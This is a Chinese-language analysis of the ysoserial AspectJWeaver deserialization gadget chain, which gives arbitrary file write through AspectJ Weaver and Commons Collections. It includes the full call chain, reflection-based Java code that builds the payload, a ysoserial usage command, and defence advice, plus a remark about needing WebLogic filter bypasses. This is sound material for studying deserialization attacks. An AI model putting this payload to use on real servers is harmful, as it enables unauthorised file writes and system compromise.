ysoserial AspectJWeaver file write gadget
字数 1427 2025-08-10 08:28:35
AspectJWeaver文件写入Gadget分析
1. 漏洞概述
AspectJWeaver是ysoserial工具中新添加的一个反序列化利用链,利用该链可以在目标系统上实现任意文件写入。该漏洞利用了AspectJ Weaver库中的SimpleCache$StoreableCachingMap类以及Apache Commons Collections中的相关类。
2. 依赖环境
- org.aspectj:aspectjweaver:1.9.2
- commons-collections:commons-collections:3.2.2
3. 利用链分析
完整的Gadget链如下:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
3.1 关键类分析
3.1.1 SimpleCache$StoreableCachingMap
org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap类有两个关键方法:
-
writeToPath方法:- 参数key作为文件名
- 参数value作为文件内容
- 直接将内容写入指定文件
-
put方法:- 调用
writeToPath方法 - 实现了将数据写入文件的功能
- 调用
3.1.2 Commons Collections相关类
-
LazyMap:- 当调用get方法时,如果key不存在,会使用Transformer生成value
- 这里使用
ConstantTransformer固定返回要写入的内容
-
TiedMapEntry:- 将Map和key绑定在一起
- 调用hashCode时会触发getValue方法
3.2 触发流程
-
反序列化起点:
HashSet.readObject()- 反序列化时会调用内部HashMap的put方法
-
HashMap操作:
HashMap.put()->HashMap.hash()- 计算key的hashCode
-
TiedMapEntry触发:
- 当key是
TiedMapEntry时,调用其hashCode() hashCode()->getValue()
- 当key是
-
LazyMap触发:
getValue()->LazyMap.get()- 使用
ConstantTransformer返回要写入的内容
-
文件写入:
LazyMap.get()->SimpleCache$StorableCachingMap.put()put()->writeToPath()- 最终将内容写入指定文件
4. 利用代码分析
4.1 核心构造代码
// 构造SimpleCache$StoreableCachingMap实例
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
// 使用ConstantTransformer固定返回要写入的内容
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
// 将Map和key绑定
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
// 构造HashSet触发点
HashSet map = new HashSet(1);
map.add("foo");
// 通过反射修改HashSet内部Map的key为我们的TiedMapEntry
Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);
4.2 使用方法
java -jar ysoserial.jar AspectJWeaver "<filename>;<base64 content>"
示例:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
5. 防御与限制
-
WebLogic限制:
- WebLogic已经过滤了
org.apache.commons.collections.functors包名 - 需要寻找新的绕过方法
- WebLogic已经过滤了
-
防御措施:
- 更新AspectJ Weaver和Commons Collections到最新版本
- 实施反序列化过滤
- 限制Java反序列化操作
6. 参考链接
7. 总结
AspectJWeaver gadget是一个利用反序列化实现任意文件写入的漏洞链,结合了AspectJ Weaver和Commons Collections的特性。虽然WebLogic已经对部分类进行了过滤,但该技术仍可用于其他存在类似环境的系统中。理解该漏洞链有助于开发者更好地防御反序列化攻击。